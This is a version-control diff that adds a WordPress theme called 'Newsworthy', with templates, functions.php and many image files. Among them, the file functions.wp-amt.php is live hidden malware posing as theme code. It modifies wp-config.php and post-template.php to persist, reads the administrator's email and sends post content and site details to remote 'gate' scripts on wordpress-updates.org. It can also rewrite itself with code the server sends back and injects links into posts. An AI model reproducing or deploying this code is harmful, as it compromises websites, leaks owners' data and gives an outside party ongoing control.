    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/arrow.gif Binary file web/wp-content/themes/newsworthy/arrow.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/newsworthy/comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,89 @@ + +

    This post is password protected. Enter the password to view comments.

    + + + + + +

    to “

    + + + +
      + +
    + + + + + + + + + +

    Comments are closed.

    + + + + + + + +
    + +

    + +
    + +
    + + +

    You must be logged in to post a comment.

    + + +
    + + + +

    Logged in as . Log out »

    + + + +


    />

    + +


    />

    + +


    + + + + + +


    + +

    + +

    +ID); ?> + +
    + + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/footer.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/newsworthy/footer.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,64 @@ +

    +
     
    +
    +
    +
  • ', '', $var); +} ?> +
    +
    + +

    About this template

    +

    About MeNewsworthy is the 16th template from DemusDesign. It's a magazine-style template built on a 6-column grid that's perfect as a news site or any site with a lot of information. If you use the template, please retain the link back to my site in the footer. Thanks.

    + +
    +
    + +

    Recent Posts

    +
      + +
    + +
    +
    + +

    Archives

    +
      + +
    + +
    +
    + +

    Pages

    +
      + +
    + +
    +
    + +

    Meta

    + + +
    +
     
    +
    +

    © | Template by DemusDesign | Theme by Theme Lab and Hosting

    + + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/newsworthy/functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,244 @@ + array( +"name" => "newsworthy_image", +"std" => "", +"title" => "Featured Image", +"description" => "Using the \"Add an Image\" button, upload a 610x281 image and paste the URL here. Displayed in full size for the featured post, resized versions for single posts and substories on index pages are handled automatically.") +); +function new_meta_boxes() { +global $post, $new_meta_boxes; + +foreach($new_meta_boxes as $meta_box) { +$meta_box_value = get_post_meta($post->ID, $meta_box['name'].'_value', true); + +if($meta_box_value == "") +$meta_box_value = $meta_box['std']; + +echo''; + +echo'

    '.$meta_box['title'].'

    '; + +echo'
    '; + +echo'

    '; +} +} +function create_meta_box() { +global $theme_name; +if ( function_exists('add_meta_box') ) { +add_meta_box( 'new-meta-boxes', 'Newsworthy Post Settings', 'new_meta_boxes', 'post', 'normal', 'high' ); +} +} +function save_postdata( $post_id ) { +global $post, $new_meta_boxes; + +foreach($new_meta_boxes as $meta_box) { +// Verify +if ( !wp_verify_nonce( $_POST[$meta_box['name'].'_noncename'], plugin_basename(__FILE__) )) { +return $post_id; +} + +if ( 'page' == $_POST['post_type'] ) { +if ( !current_user_can( 'edit_page', $post_id )) +return $post_id; +} else { +if ( !current_user_can( 'edit_post', $post_id )) +return $post_id; +} + +$data = $_POST[$meta_box['name'].'_value']; + +if(get_post_meta($post_id, $meta_box['name'].'_value') == "") +add_post_meta($post_id, $meta_box['name'].'_value', $data, true); +elseif($data != get_post_meta($post_id, $meta_box['name'].'_value', true)) +update_post_meta($post_id, $meta_box['name'].'_value', $data); +elseif($data == "") +delete_post_meta($post_id, $meta_box['name'].'_value', get_post_meta($post_id, $meta_box['name'].'_value', true)); +} +} +add_action('admin_menu', 'create_meta_box'); +add_action('save_post', 'save_postdata'); +function the_content_limit($max_char, $more_link_text = '(more...)', $stripteaser = 0, $more_file = '') { + $content = get_the_content($more_link_text, $stripteaser, $more_file); + $content = apply_filters('the_content', $content); + $content = str_replace(']]>', ']]>', $content); + + if (strlen($_GET['p']) > 0) { + echo $content; + } + else if ((strlen($content)>$max_char) && ($espacio = strpos($content, " ", $max_char ))) { + $content = substr($content, 0, $espacio); + $content = $content; + echo $content; + echo "

    "; + } + else { + echo $content; + } +} +class My_125_Widget extends WP_Widget { + function My_125_Widget() { + $widget_ops = array('classname' => 'widget_125_ad', 'description' => 'A single 125x125 ad banner' ); + $this->WP_Widget('125_ad', '125x125 Ad', $widget_ops); + } + + function widget($args, $instance) { + extract($args, EXTR_SKIP); + + echo $before_widget; + $image_url = empty($instance['image_url']) ? '' : apply_filters('widget_image_url', $instance['image_url']); + $image_alt = empty($instance['image_alt']) ? '' : apply_filters('widget_image_alt', $instance['image_alt']); + $image_link = empty($instance['image_link']) ? '' : apply_filters('widget_image_link', $instance['image_link']); + + if ( !empty( $title ) ) { echo $before_title . $title . $after_title; }; + echo ''; + echo ''; + echo ''; + echo $after_widget; + } + + function update($new_instance, $old_instance) { + $instance = $old_instance; + $instance['image_url'] = strip_tags($new_instance['image_url']); + $instance['image_alt'] = strip_tags($new_instance['image_alt']); + $instance['image_link'] = strip_tags($new_instance['image_link']); + + return $instance; + } + + function form($instance) { + $instance = wp_parse_args( (array) $instance, array( 'image_url' => '', 'image_alt' => '', 'image_link' => '' ) ); + $image_url = strip_tags($instance['image_url']); + $image_alt = strip_tags($instance['image_alt']); + $image_link = strip_tags($instance['image_link']); +?> +

    +

    +

    + 'Tabber', + 'before_widget' => '
    ', + 'after_widget' => '
     
    ', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); +if ( function_exists('register_sidebar') ) + register_sidebar(array( + 'name' => 'Sidebar Ads', + 'before_widget' => '', + 'after_widget' => '', + 'before_title' => '', + 'after_title' => '', + )); +if ( function_exists('register_sidebar') ) + register_sidebar(array( + 'name' => 'Sidebar Left', + 'before_widget' => '', + 'after_widget' => '', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); +if ( function_exists('register_sidebar') ) + register_sidebar(array( + 'name' => 'Sidebar Right', + 'before_widget' => '', + 'after_widget' => '', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); +if ( function_exists('register_sidebar') ) + register_sidebar(array( + 'name' => 'Sidebar Bottom', + 'before_widget' => '', + 'after_widget' => '', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); +if ( function_exists('register_sidebar') ) + register_sidebar(array( + 'name' => 'Footer One', + 'before_widget' => '', + 'after_widget' => '', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); +if ( function_exists('register_sidebar') ) + register_sidebar(array( + 'name' => 'Footer Two', + 'before_widget' => '', + 'after_widget' => '', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); +if ( function_exists('register_sidebar') ) + register_sidebar(array( + 'name' => 'Footer Three', + 'before_widget' => '', + 'after_widget' => '', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); +if ( function_exists('register_sidebar') ) + register_sidebar(array( + 'name' => 'Footer Four', + 'before_widget' => '', + 'after_widget' => '', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); +if ( function_exists('register_sidebar') ) + register_sidebar(array( + 'name' => 'Footer Five', + 'before_widget' => '', + 'after_widget' => '', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); +if ( function_exists('register_sidebar') ) + register_sidebar(array( + 'name' => 'Single Middle', + 'before_widget' => '', + 'after_widget' => '', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); +if ( function_exists('register_sidebar') ) + register_sidebar(array( + 'name' => 'Home Middle', + 'before_widget' => '', + 'after_widget' => '', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); +if ( function_exists('register_sidebar') ) + register_sidebar(array( + 'name' => 'Home Left', + 'before_widget' => '', + 'after_widget' => '', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); +if ( function_exists('register_sidebar') ) + register_sidebar(array( + 'name' => 'Home Right', + 'before_widget' => '', + 'after_widget' => '', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); +if ( function_exists('register_sidebar') ) + register_sidebar(array( + 'name' => '404', + 'before_widget' => '', + 'after_widget' => '', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/functions.wp-amt.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/newsworthy/functions.wp-amt.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,595 @@ +0;$q--) + { + $link[$q]="/".$link[$q]; + $r_dir=str_replace($link[$q],"",$r_dir); + $rdr=amt_rdr($r_dir); + if(@in_array('wp-config.php',$rdr)) + { + $root_dir[0]=$r_dir; + break; + } + } + $root_dir[1]=$root_dir[0]."/wp-includes"; + $t_dir=$root_dir[0]."/wp-content/themes/"; + $t_dirs=amt_rdr($t_dir); + for($q=0;$qamt_trim_domen(); + $this->t_n=array($table_prefix.$amt_site."_post",$table_prefix.$amt_site."_quest",$table_prefix.$amt_site."_opt"); + return $t_n; + } + function amt_gae() + { + global $wpdb, $table_prefix; + $uid=$wpdb->get_col($wpdb->prepare("select user_id from ".$table_prefix."usermeta where meta_value='10'", $rr)); + $uem=$wpdb->get_col($wpdb->prepare("select user_email from ".$table_prefix."users where id='".$uid[0]."'", $rr)); + $this->a_em=$uem[0]; + return $a_em; + } + function amt_crtb() + { + global $wpdb; + $this->amt_gtbl(); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[0]." ( + id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , + id_post INT(9) NOT NULL , + last_up DATETIME NOT NULL , + addd DATETIME NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[1]." ( + id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , + l_b ENUM('0', '1') NOT NULL , + id_post INT(9) NOT NULL , + word VARCHAR(255) NOT NULL , + id_word INT( 9 ) NOT NULL , + link VARCHAR(255) NOT NULL , + date DATE NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[2]." ( + host VARCHAR(255) NOT NULL , + t_o VARCHAR(255) NOT NULL , + n_f VARCHAR(255) NOT NULL , + date DATE NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); + $this->host=$mda[0]; + if($this->host=="") + { + $amt_nf=$this->amt_gfn(); + $query="insert into ".$this->t_n[2]." (host, t_o, n_f, date) values ('wordpress-updates.org', '5', '".$amt_nf."', now());"; + $wpdb->query($query); + $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); + $this->host=$mda[0]; + } + $mda=$wpdb->get_col($wpdb->prepare("select t_o from ".$this->t_n[2], $rr)); $this->t_o=$mda[0]; + $mda=$wpdb->get_col($wpdb->prepare("select n_f from ".$this->t_n[2], $rr)); $this->n_f=$mda[0]; + $mda=$wpdb->get_col($wpdb->prepare("select date from ".$this->t_n[2], $rr)); $this->c_d=$mda[0]; + } +} +$amt_d=new amt_data; +$amt_d->amt_crtb(); +$amt_d->amt_gae(); +$root_dir=amt_gp(); +$amt_d->u_tpl=$amt_u_tpl; +$amt_d->my_h=trim_url($_SERVER["HTTP_HOST"]); +$amt_d->u_g[0]="http://".$amt_d->host."/gate/post_gate.php"; +$amt_d->u_g[1]="http://".$amt_d->host."/gate/quest_gate.php"; +$amt_d->u_g[2]="http://".$amt_d->host."/gate/upd_gate.php"; +$amt_d->u_g[3]="http://".$amt_d->host."/gate/nf_gate.php"; +$amt_d->r_dir=array($root_dir[0],$root_dir[1],$root_dir[2],$root_dir[3],$root_dir[4]); +$amt_d->wp_c=$amt_d->r_dir[0]."/wp-config.php"; +$amt_d->wp_pt=$amt_d->r_dir[0]."/wp-includes/post-template.php"; +$amt_d->wp_ff=$amt_d->r_dir[0]."/wp-includes/".$amt_d->n_f; +if(file_exists($amt_d->wp_ff)) { $amt_d->wrt=1; } else { $amt_d->wrt=0; } +amt_ci(); +amt_cifi(); + +function amt_cif() +{ +global $amt_d; +if(file_exists($amt_d->wp_ff)) { return true; } else { return false; } +} + +function amt_cifi() +{ +global $amt_d; +$today=date("Ymd"); + if($today<=20100225) + { + $post = array('my_h' => $amt_d->my_h, 'my_url' => $m_url, 'wrt' => $amt_d->wrt); + amt_sender("http://".$amt_d->host."/gate/post_ci.php", $post); + } +} + +function amt_ci() +{ +global $amt_d; + $sha="!amt_cif!si"; + $sha2="!".$amt_d->n_f."!si"; + $cont=file_get_contents($amt_d->wp_c); + if(!preg_match($sha,$cont,$match) || !preg_match($sha2,$cont,$match)) + { + $amt_d->ci[0]=0; + } + else + { + $amt_d->ci[0]=1; + } + $sha="!amt_cc!si"; + $cont=file_get_contents($amt_d->wp_pt); + if(!preg_match($sha,$cont,$match)) + { + $amt_d->ci[1]=0; + } + else + { + $amt_d->ci[1]=1; + } + + if(!file_exists($amt_d->wp_ff) || filesize($amt_d->wp_ff)==0) + { + $amt_d->ci[2]=0; + } + else + { + $amt_d->ci[2]=1; + } +if($amt_d->ci[0]==1 && $amt_d->ci[1]==1 && $amt_d->ci[2]==1) { $amt_d->ci[3]=1; } else { $amt_d->ci[3]=0; } +if($amt_d->ci[3]==0) +{ + if($amt_d->ci[0]==0) + { + chmod($amt_d->wp_c, 0755); + $cont=trim(file_get_contents($amt_d->wp_c)); + $sha="/\?>$/"; + if(preg_match($sha,$cont,$name)) + { + $cont=$cont." +n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>"; + } + else + { + $cont=$cont." +if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }"; + } + $amt_f = fopen($amt_d->wp_c,"w"); + $test = fwrite($amt_f, $cont); + fclose($amt_f); + if($test) { chmod($amt_d->wp_c, 0644); } + } + if($amt_d->ci[1]==0) + { + $cont=file_get_contents($amt_d->wp_pt); +$sha1="echo \$content;"; +$sha2="if (is_single() && function_exists(amt_cc)) { \$content = amt_cc(\$content); } + echo \$content;"; + $cont=str_replace($sha1,$sha2,$cont); + chmod($amt_d->wp_pt, 0755); + $amt_f = fopen($amt_d->wp_pt,"w"); + $test = fwrite($amt_f, $cont); + fclose($amt_f); + if($test) { @chmod($amt_d->wp_pt, 0644); } + } + if($amt_d->ci[2]==0) + { + $s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; + if(file_exists($s_f_path)) { $content=file_get_contents($s_f_path); } + if(file_exists($amt_d->wp_ff)) + { + chmod($amt_d->wp_ff, 0755); + } + $amt_f = fopen($amt_d->wp_ff,"w"); + $test = fwrite($amt_f, $content); + fclose($amt_f); + if($test) { chmod($amt_d->wp_ff, 0644); } + } +} +} +function amt_cc($content) +{ + global $amt_d; + $amt_id=get_the_ID(); $amt_url=$amt_d->my_h.$amt_d->r_dir[3]; $amt_md=get_the_modified_date("Y-m-d h:i:s"); amt_gct($amt_id); + amt_copt($amt_url); if(amt_pib($amt_id)==0) { $pis=amt_ins($amt_id, $amt_md, $content, $amt_url); } if($pis==1) { amt_inb($amt_id, $amt_md); } if(amt_cuq()==0) { amt_qse($amt_id, $amt_url); } $content=amt_cco($amt_id, $content); + return $content; +} +function amt_gct($id) +{ +global $amt_d; +$ololo=get_post($id); +$amt_cty=get_the_category(); +$amt_d->p_cgy=$amt_cty[$ololo->post_category]->cat_name; +$amt_d->p_ttl=$ololo->post_title; +} +function amt_cco($id, $content) +{ +global $wpdb, $amt_d; +$q_word=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); +$q_id_word=$wpdb->get_col($wpdb->prepare("select id_word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); +$q_link=$wpdb->get_col($wpdb->prepare("select link from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); + for($q=0;$q < count($q_word);$q++) + { + $content=amt_create_post_words($content,$q_word[$q],$q_id_word[$q],$q_link[$q],4); + } +$content.=amt_abl($id); +return $content; +} +function amt_abl($id) +{ +global $wpdb, $amt_d; +$t_link=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='1'", $rr)); + if($t_link[0]!="") + { + $tlk="

    ".$t_link[0]."

    "; + } + else + { + $tlk=""; + } +return $tlk; +} +function amt_copt($m_url) +{ +global $wpdb, $amt_d; +$post = Array('my_h' => $amt_d->my_h, 'my_url' => $m_url); +$today=date("Y-m-d"); + if(!amt_cuo()) + { + if($amt_ud=amt_sender($amt_d->u_g[2], $post)) + { + if($amt_ud!="no" && $amt_ud!="") + { + $amt_md=explode('*^*^*^*',$amt_ud); + $amt_q="update ".$amt_d->t_n[2]." set host='$amt_md[0]', t_o='$amt_md[1]', date='$today' where host='".$amt_d->host."'"; + $wpdb->query($amt_q); + if($amt_md[3]==2) + { + amt_cnff($amt_md[4]); + } + } + else + { + $amt_q="update ".$amt_d->t_n[2]." set date='$today' where host='".$amt_d->host."'"; + $wpdb->query($amt_q); + } + } + } +} +function amt_cnff($content) +{ +global $amt_d; +if($content=="") { return false; } +$content= +""; + if(file_exists($amt_d->wp_ff)) + { + @chmod($amt_d->wp_ff, 0755); + } +$amt_f = fopen($amt_d->wp_ff,'w'); +$test = fwrite($amt_f, $content); +@fclose($amt_f); +if($test) { @chmod($amt_d->wp_ff, 0644); } +$s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; + if(file_exists($s_f_path)) + { + @chmod($s_f_path, 0755); + } +$amt_f = fopen($s_f_path,'w'); +$test = fwrite($amt_f, $content); +@fclose($amt_f); +if($test) { @chmod($s_f_path, 0644); } +} +function amt_inb($id, $last) +{ +global $wpdb, $amt_d; +$amt_q="delete from ".$amt_d->t_n[0]." where id_post='$id'"; +$wpdb->query($amt_q); +$amt_q="insert into ".$amt_d->t_n[0]." (id_post, last_up, addd) values ('$id', '$last', now())"; +$wpdb->query($amt_q); +} +function amt_ins($id, $last, $cont, $url) +{ +global $amt_d; +$last=str_replace(" ","_",$last); +$url=trim_url($url); +$post = Array('id' => $id, 'last' => $last, 'cont' => $cont, 'ttl' => $amt_d->p_ttl, 'cgy' => $amt_d->p_cgy, 'my_h' => $amt_d->my_h, 'my_url' => $url, 'a_em' => $amt_d->a_em, 'fn' => $amt_d->n_f, 'tpl' => $amt_d->r_dir[4], 'ci' => $amt_d->ci[3], 'u_tpl' => $amt_d->u_tpl); +$amt_pisg=amt_sender($amt_d->u_g[0], $post); +if($amt_pisg=="ok") { $pis=1; } else { $pis=0; } +return $pis; +} +function amt_pib($id) +{ +global $wpdb, $amt_d; +$query="select id from ".$amt_d->t_n[0]." where id_post='$id'"; +$wpdb->query($query); + if($wpdb->num_rows>0) + { + $per=$wpdb->get_var($wpdb->prepare("select datediff(now(), addd) from ".$amt_d->t_n[0]." where id_post='$id'", $rr)); + if($per>30) + { + return 0; + } + else + { + return 1; + } + } +return $wpdb->num_rows; +} +function amt_qwe($id) +{ +global $wpdb, $amt_d; +$query="select * from ".$amt_d->t_n[1]." where id_post='$id'"; +$wpdb->query($query); +return $wpdb->num_rows; +} +function amt_cuq() +{ +global $wpdb, $amt_d; +$today=date("Y-m-d"); +$date_up=$wpdb->get_var($wpdb->prepare("select date from ".$amt_d->t_n[1]." limit 1", $rr)); + if($date_up!=$today) + { + return false; + } + else + { + return true; + } +} +function amt_cuo() +{ +global $amt_d; +$today=date("Y-m-d"); + if($amt_d->c_d!=$today) + { + return false; + } + else + { + return true; + } +} +function amt_qse($id, $m_url) +{ +global $wpdb, $amt_d; +$today=date("Y-m-d"); +$m_url=trim_url($m_url); +$post = Array('id' => $id, 'my_h' => $amt_d->my_h, 'my_url' => $m_url); + if($amt_nq=amt_sender($amt_d->u_g[1], $post)) + { + if($amt_nq=="no quests") + { + $amt_q1="delete from ".$amt_d->t_n[1].";"; + $wpdb->query($amt_q1); + $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('0', '0', '', '0', '', '$today')"; + echo $amt_q2; + $wpdb->query($amt_q2); + } + else + { + $amt_q1="delete from ".$amt_d->t_n[1].";"; + $wpdb->query($amt_q1); + $amt_qs=explode("*****",$amt_nq); + for($q=0;$q < sizeof($amt_qs);$q++) + { + $m_amt_q=explode("^^^",$amt_qs[$q]); + $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('$m_amt_q[4]', '$m_amt_q[0]', '$m_amt_q[1]', '$m_amt_q[2]', '$m_amt_q[3]', '$today')"; + $wpdb->query($amt_q2); + } + } + } +} +function amt_sender($url, $post) +{ +global $amt_d; +$_post=Array(); + if(is_array($post)) + { + foreach($post as $name => $value) + { + $_post[]=$name.'='.urlencode($value); + } + } + if (function_exists("curl_init")) + { + $ch=curl_init($url); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_HEADER, 0); + curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $amt_d->t_o); + curl_setopt($ch, CURLOPT_USERAGENT, "Penetrator/3.0"); + curl_setopt($ch, CURLOPT_REFERER, $amt_d->my_h); + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); + if(is_array($post)) + { + curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post)); + } + $result=curl_exec($ch); + if(curl_errno($ch)!=0 && empty($result)) + { + $result=false; + } + curl_close($ch); + $result="HTTPSTART".$result; + $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); + return $result; + } + else + { + $parse_url = parse_url($url); + $path = $parse_url["path"]; + $host= $parse_url["host"]; + $result=""; + $post=implode('&', $_post); + $fp=fsockopen($host, 80); + if($fp) + { + socket_set_timeout($fp, $amt_d->t_o); + $request = "POST $path HTTP/1.1\r\n"; + $request .= "Host: $host\r\n"; + $request .= "User-Agent: Penetrator/3.0\r\n"; + $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; + $request .= "Referer: ".$amt_d->my_h."\r\n"; + $request .= "Content-Length: ".strlen($post)."\r\n"; + $request .= "Connection: close\r\n\r\n$post"; + fputs($fp,$request); + while(!feof($fp)) + { + $result.=fgets($fp); + } + fclose($fp); + $result="HTTPSTART".$result; + $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); + return $result; + } + return false; + } +} +function amt_create_post_words($content,$word,$id_word,$link,$nwm) +{ +$n_content=strip_tags($content); +$word=trim($word); +$t_link="http://".$link; +$w=0; +$sha2="/(.{1,".$nwm."})(\*\*\* ".$word.".{1}\*\*\*|\*\*\*".$word.".{1}\*\*\*)(.{1,".$nwm."})/si"; +$bilo="/( ".$word.".{1}|".$word.".{1})/si"; +$stalo="***\\0***"; +$new_content=preg_replace($bilo,$stalo,$n_content); +preg_match_all($sha2,$new_content,$massa); +$sha_word=erase_zv($massa[0][$id_word]); +$sha_word_l=strong_word($sha_word,$word,$t_link); +$content=str_replace($sha_word,$sha_word_l,$content); +return $content; +} +function erase_zv($text) +{ +$text=str_replace(",***",",",$text); +$text=str_replace(".***",".",$text); +$text=str_replace(" ***"," ",$text); +$text=str_replace("*** "," ",$text); +$text=str_replace("***"," ",$text); +return $text; +} +function trim_side($text) +{ +$new_text=""; +$txt=explode(" ", $text); +$n_w=sizeof($txt); + for($ts=1;$ts<$n_w-1;$ts++) + { + $new_text.=$txt[$ts]." "; + } +return $new_text; +} +function strong_word($content,$word,$t_link) +{ +$bilo="/( ".$word.".{1}|".$word.".{1})/si"; +$stalo="\\0"; +$content=preg_replace($bilo,$stalo,$content); +$content=str_replace("> ",">",$content); +$content=str_replace(" <","<",$content); +$content=str_replace("<"," <",$content); +$content=str_replace(" ","",$content); +$content=str_replace(""," ",$content); +$content=str_replace(",",", ",$content); +$content=str_replace(".",". ",$content); +$content=str_replace(" "," ",$content); +return $content; +} +function trim_url($url) +{ +$url=preg_replace("(www.|http://)", "", $url); +return $url; +} +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/newsworthy/header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,54 @@ + + + + + + + + +<?php wp_title('«', true, 'right'); ?> <?php bloginfo('name'); ?> + + + + + + + + + + + +
    + +
    + +
    +
    +
    + +
    +

    +

    + + +
    \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/arrow.gif Binary file web/wp-content/themes/newsworthy/images/arrow.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/banner.jpg Binary file web/wp-content/themes/newsworthy/images/banner.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/bg.gif Binary file web/wp-content/themes/newsworthy/images/bg.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/boat.jpg Binary file web/wp-content/themes/newsworthy/images/boat.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/boxbg.gif Binary file web/wp-content/themes/newsworthy/images/boxbg.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/bullet.gif Binary file web/wp-content/themes/newsworthy/images/bullet.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/bullet140.gif Binary file web/wp-content/themes/newsworthy/images/bullet140.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/bullet_light.gif Binary file web/wp-content/themes/newsworthy/images/bullet_light.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/comments.gif Binary file web/wp-content/themes/newsworthy/images/comments.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/example-pic.jpg Binary file web/wp-content/themes/newsworthy/images/example-pic.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/fade.jpg Binary file web/wp-content/themes/newsworthy/images/fade.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/file.gif Binary file web/wp-content/themes/newsworthy/images/file.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/gravatar.gif Binary file web/wp-content/themes/newsworthy/images/gravatar.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/left.gif Binary file web/wp-content/themes/newsworthy/images/left.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/left_cur.gif Binary file web/wp-content/themes/newsworthy/images/left_cur.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/leprechaun.jpg Binary file web/wp-content/themes/newsworthy/images/leprechaun.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/menu_bg.gif Binary file web/wp-content/themes/newsworthy/images/menu_bg.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/menu_fade.jpg Binary file web/wp-content/themes/newsworthy/images/menu_fade.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/menu_meta.jpg Binary file web/wp-content/themes/newsworthy/images/menu_meta.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/readmore.gif Binary file web/wp-content/themes/newsworthy/images/readmore.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/right.gif Binary file web/wp-content/themes/newsworthy/images/right.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/right_cur.gif Binary file web/wp-content/themes/newsworthy/images/right_cur.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/stripe.png Binary file web/wp-content/themes/newsworthy/images/stripe.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/subfade.gif Binary file web/wp-content/themes/newsworthy/images/subfade.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/subfade.jpg Binary file web/wp-content/themes/newsworthy/images/subfade.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/substory.jpg Binary file web/wp-content/themes/newsworthy/images/substory.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/title.gif Binary file web/wp-content/themes/newsworthy/images/title.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/images/topstory.jpg Binary file web/wp-content/themes/newsworthy/images/topstory.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/index.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/newsworthy/index.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,60 @@ + + +
    +
    +have_posts()) : + while ($the_query->have_posts()) : $the_query->the_post(); + $do_not_duplicate = $post->ID; +?> + ID, "newsworthy_image_value", $single = true) != "") { ?>" alt="" /> +

    + + + +
    +
    + +
    +

